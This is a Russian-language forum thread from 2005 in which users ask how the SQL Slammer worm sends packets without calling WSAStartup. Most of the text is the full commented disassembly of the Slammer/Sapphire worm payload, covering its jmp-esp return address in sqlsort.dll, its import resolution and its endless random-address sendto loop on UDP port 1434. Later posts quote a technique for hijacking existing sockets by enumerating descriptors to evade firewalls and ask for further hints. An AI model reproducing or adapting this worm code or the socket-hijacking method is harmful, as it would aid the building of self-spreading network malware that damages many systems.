Как юзать сокеты без WSAStartup?

Тема в разделе "WASM.NETWORKS", создана пользователем Flasher, 17 апр 2005.

  1. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    Тут читал описание Worm.SQL.Slammer "При активизации на заражаемом компьютере червь получает адреса трёх функций Windows:

    GetTickCount (KERNEL32.DLL)

    socket, sendto (WS2_32.DLL)"



    Я вот задумался, как он обошёлся без WSAStartup ? или может действия WSAStartup сам сумел эмулировать?



    Вопрос:

    Не подскажите как моно обойтись без WSAStartup (если это вообще возможно).

    И, если не возможно, то как программно выпольнить аналогичные действия этой функции.

    Благодарю за внимания!
     
  2. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    Да можно - если найти описатель (ссылку) на уже открытый системой сокет :)

    но это мое IHMO .. хотя у меня получалось
     
  3. ozzman

    ozzman New Member

    Публикаций:
    0
    Регистрация:
    22 янв 2004
    Сообщения:
    56
    Flasher

    А что мешает взять иду или отладчиком пройтись по коду WSAStartup и посмотрев, что она делает сэмулировать её работу?
     
  4. NoName

    NoName New Member

    Публикаций:
    0
    Регистрация:
    1 авг 2004
    Сообщения:
    1.229
    2 Flasher



    И делается это простым перебором, который занимает не так долго времени.
     
  5. zen333

    zen333 New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    2
    Адрес:
    Costa Rica
    а исходников сламмера нету ?
     
  6. YoungBastard

    YoungBastard New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2005
    Сообщения:
    231
    Адрес:
    Russia
    Flasher

    Механизм работы slammera почти такой как описал NoName.Т.е. он ищет уже открытый сокет, а дальше уже с ним и работает.Т.о. образом он обходит фаерволы и ему не надо вызывать WSAStartup.Рекомендую почитать Касперски "Записки исследователя компьютерных вирусов".Там у него есть описание с исходным кодом таких техник
     
  7. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    Код (Text):
    1. ;SAPPHIRE WORM CODE DISASSEMBLED
    2. ;eEye Digital Security: January 25, 2003
    3. ;Updated January 27, 2003
    4.  
    5.                     push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
    6.                     mov     eax, 1010101h   ;
    7.                                             ; Reconstruct session, after the overflow the payload buffer
    8.                                             ; gets corrupted during program execution but before the
    9.                                             ; payload is executed. The worm writer rebuilds the buffer
    10.                                             ; so he can later resend it in the sendto() loop.
    11.                     xor     ecx, ecx
    12.                     mov     cl, 18h
    13.    
    14.     fixup_payload:                          
    15.                     push    eax
    16.                     loop    fixup_payload
    17.                     xor     eax, 5010101h   ; 0x1010101 xor 0x5010101 = 0x04000000 (msg_type for sql resoloution request)
    18.                                             ;
    19.                                             ; 0x04 is the msg type for request, he has no rebuilt the payload
    20.                                             ; so it can be fired over the wire later and reinfect.
    21.                     push    eax
    22.                     mov     ebp, esp        ;
    23.                                             ; Move esp into ebp. This will allow him to reference data
    24.                                             ; pushed onto the stack later using ebp. He could use esp
    25.                                             ; also except for the fact that he push's a lot of values and
    26.                                             ; an esp offset will not as reliable. So he chose ebp...
    27.                                             ;
    28.                     push    ecx             ;
    29.                                             ; During this phase a series of strings and terminating
    30.                                             ; nulls are pushed onto the stack. This method is common
    31.                                             ; in simple exploits that don't require a large amount of
    32.                                             ; imports to operate. It should also noted that the worm
    33.                                             ; use’s the ecx register to store nulls, after it is
    34.                                             ; decremented to zero from the loop routine.
    35.                                             ;
    36.                     push    6C6C642Eh
    37.                     push    32336C65h
    38.                     push    6E72656Bh       ; Push string kernel32.dll
    39.                     push    ecx
    40.                     push    746E756Fh       ; Push string GetTickCount
    41.                     push    436B6369h
    42.                     push    54746547h
    43.                     mov     cx, 6C6Ch
    44.                     push    ecx
    45.                     push    642E3233h       ; Push string ws2_32.dll
    46.                     push    5F327377h
    47.                     mov     cx, 7465h
    48.                     push    ecx
    49.                     push    6B636F73h       ; Push string socket
    50.                     mov     cx, 6F74h
    51.                     push    ecx
    52.                     push    646E6573h       ; Push string sendto
    53.                                             ;
    54.                     mov     esi, 42AE1018h  ; sqlsort.dll->IAT entry for LoadLibrary
    55.                                             ;
    56.                                             ; The worm writer uses the sqlsort IAT to locate
    57.                                             ; the entry points for LoadLibrary and GetProcAddress.
    58.                                        
    59.                                             ;
    60.                     lea     eax, [ebp-2Ch]  ; Load address of string "ws2_32.dll" into eax and
    61.                                             ; supply as an argument to LoadLibrary.
    62.                     push    eax
    63.                     call    dword ptr [esi] ; call  sqlsort:[IAT]->LoadLibrary("ws2_32.dll")
    64.                                             ;
    65.                     push    eax             ; When LoadLibrary returns, the base of ws2_32 is in eax.
    66.                                             ; This will be used later for a GetProcAddress so he saves
    67.                                             ; it on the stack using a push..
    68.                                             ;
    69.                     lea     eax, [ebp-20h]  ; Load address of string "GetTickCount" into eax and
    70.                                             ; push it on the stack. This will be used as an argument
    71.                                             ; to the GetProcAddress call after the next LoadLibrary call.
    72.                     push    eax
    73.                     lea     eax, [ebp-10h]  ; Load address of string "kernel32.dll" into eax
    74.                     push    eax
    75.                     call    dword ptr [esi] ; call  sqlsort:[IAT]->LoadLibrary("kernel32.dll")
    76.                                             ;
    77.                     push    eax             ; When LoadLibrary returns, the base of kernel32 is in eax.
    78.                                             ; This will be used later for a GetProcAddress so he saves
    79.                                             ; it on the stack using a push..
    80.                                             ;
    81.                     mov     esi, 42AE1010h  ; Move sqlsort:[IAT] entry into esi. The IAT, or Import Address
    82.                                             ; Table will shift across dll versions so the worm writer checks a
    83.                                             ; small instruction sequence at the entry point of the function to
    84.                                             ; verify that it is in fact, GetProcAddress.
    85.                                             ;
    86.                                             ;
    87.                     mov     ebx, [esi]      ; Move IAT entry (function entry point) into ebx.
    88.                                             ;
    89.                     mov     eax, [ebx]      ; Move 4 bytes of instructions from function entry point into eax.
    90.                                             ;
    91.                     cmp     eax, 51EC8B55h  ; Check entry point fingerprint for getprocaddress, if the compare fails he uses
    92.                                             ; an assumed IATentry. So he checks the entry, if it's not GetProcAddress he
    93.                                             ; assumes it's an alternate dll version and uses the static entry in that assumed
    94.                                             ; dll version.
    95.                                             ;
    96.                                             ; The library version I have is:2000.80.534.0. This dll version hips with a base
    97.                                             ; installation of MSSQL server 2000.  The IATwith this DLL is an entry point for
    98.                                             ; RtlEnterCriticalSection, so the first check will obviously fail and the jz will
    99.                                             ; not succeed.
    100.                                             ;
    101.                                             ; It is undetermined what dll versions this payload will succeed on. Due to
    102.                                             ; the "if not, then other"  importing scheme, this may not work across all dll
    103.                                             ; versions.
    104.                                             ;
    105.                                             ;
    106.                     jz      short FOUND_IT  ; GetProcAddress(kernel32_base,GetTickCount)
    107.                     mov     esi, 42AE101Ch  ; This point is only reached if the previous test failed. On a
    108.                                             ; default install of MSSQL Server 2000, we will reach this point.
    109.                                             ; Then next assignment will assign esi the sqlsort.dll->IAT entry
    110.                                             ; for GetProcAddress.
    111.    
    112.     FOUND_IT:                              
    113.                     call    dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount)
    114.                     call    eax             ; GetTickCount()
    115.                     xor     ecx, ecx
    116.                     push    ecx
    117.                     push    ecx
    118.                     push    eax             ; Push GetTickCount returned value, which is the number
    119.                                             ; of milliseconds since the system was last started. This value
    120.                                             ; will later be used as a seed for the pseudo random number
    121.                                             ; generation.
    122.                                             ;
    123.                                             ;
    124.                     xor     ecx, 9B040103h  ; 0x9B040103 xor 0x1010101 = 9A050002 (dest port/family)
    125.                                             ;
    126.                     xor     ecx, 1010101h
    127.                     push    ecx             ; 9A050002 = port 1434 / AF_INET
    128.                                             ;
    129.                     lea     eax, [ebp-34h]  ; Load address of string "socket" into eax and supply
    130.                                             ; it as the second argument to GetProcAddress
    131.                     push    eax
    132.                     mov     eax, [ebp-40h]  ; Load ws2_32 base address into eax and
    133.                                             ; supply as first argument to GetProcAddress.
    134.                     push    eax
    135.                     call    dword ptr [esi] ; GetProcAddress(ws2_32,socket)
    136.                     push    11h
    137.                     push    2
    138.                     push    2
    139.                     call    eax             ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
    140.                                             ;
    141.                     push    eax             ; Push socket descriptor
    142.                                             ;
    143.                     lea     eax, [ebp-3Ch]  ; Load address of string "sendto" into eax and
    144.                                             ; supply it as the second argument to GetProcAddress.
    145.                     push    eax
    146.                     mov     eax, [ebp-40h]  ; Load ws2_32 base address into eax and
    147.                                             ; supply it as the first address to GetProcAddress.
    148.                     push    eax
    149.                     call    dword ptr [esi] ; GetProcAddress(ws2_32,sendto)
    150.                     mov     esi, eax        ; Save the entry point for sendto, returned by GetProcAddress
    151.                                             ; into esi.
    152.                                             ;
    153.                     or      ebx, ebx        ; ebx = 77F8313C, left over from the sqlsort IAT reads.
    154.                                             ;
    155.                     xor     ebx, 0FFD9613Ch ; We'll end up with 0x88215000 or 0x88336870, depending on dll
    156.                                             ; version. Other values are generated depending on dll version.
    157.                                             ;
    158.    
    159.     PSEUDO_RAND_SEND:                      
    160.                     mov     eax, [ebp-4Ch]  ; Load the seed from GetTickCount into eax and enter pseudo
    161.                                             ; random generation. The pseudo generation also takes input from
    162.                                             ; an xor'd IAT entry to assist in more random generation.
    163.                                             ;
    164.                     lea     ecx, [eax+eax*2]
    165.                     lea     edx, [eax+ecx*4]
    166.                     shl     edx, 4
    167.                     add     edx, eax
    168.                     shl     edx, 8
    169.                     sub     edx, eax
    170.                     lea     eax, [eax+edx*4]
    171.                     add     eax, ebx
    172.                     mov     [ebp-4Ch], eax  ; Store generated IP address into sock_addr structure.
    173.                     push    10h
    174.                     lea     eax, [ebp-50h]  ; Load address of the sock_addr structure that was
    175.                                             ; created earlier, into eax, then push as an argument
    176.                                             ; to sendto().
    177.                                             ;
    178.                     push    eax
    179.                     xor     ecx, ecx        ; Push (flags) = 0
    180.                     push    ecx
    181.                     xor     cx, 178h        ; Push payload length = 376
    182.                     push    ecx
    183.                     lea     eax, [ebp+3]    ; Push address of payload
    184.                     push    eax
    185.                     mov     eax, [ebp-54h]
    186.                     push    eax
    187.                     call    esi             ; sendto(sock,payload,376,0, sock_addr struct, 16)
    188.                                             ;
    189.                     jmp     short PSEUDO_RAND_SEND
    190.  
    191.  
     
  8. SnugForce

    SnugForce New Member

    Публикаций:
    0
    Регистрация:
    2 май 2005
    Сообщения:
    373
    Адрес:
    Из домУ
    А как открытые сокеты в системе искать?
     
  9. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640


    Спасибо за рекомендацию, хорошая книга, но у вы, там нет нечего про поиска открытых сокетов, кроме упоминания об этом:
    Код (Text):
    1. Существует несколько путей захвата ранее установленного TCP/IP-соединения (если кто раньше читал мои статьи, датированные годом эдак 1998, то там я называл это "передачей данных в потоке уже существующего TCP/IP соединения", но этот термин не прижился). Первое и самое глупое - обратиться к переменной дескриптора сокета по фиксированным адресам, специфичным для данного сервера, которые атакующий может получить путем его дизассемблирования. Но такой способ не выдерживает никакой критики, здесь он не рассматривается (тем не менее, знать о его существовании будет все-таки полезно).
    2. Уж лучше прибегнуть к грубой силе, перебирая все возможные дескрипторы сокетов один за другим и тем или иным образом определяя какой из них заведует "нашим" TCP/IP-соединением. Поскольку, в операционных системах семейства UNIX и Windows 9x/NT, дескрипторы сокетов представляют собой вполне упорядоченные и небольшие по величине целочисленные значения (обычно заключенные в интервале от 0 до 255), их перебор займет совсем немного времени.
    3.  




    Намекните плиз, где копать?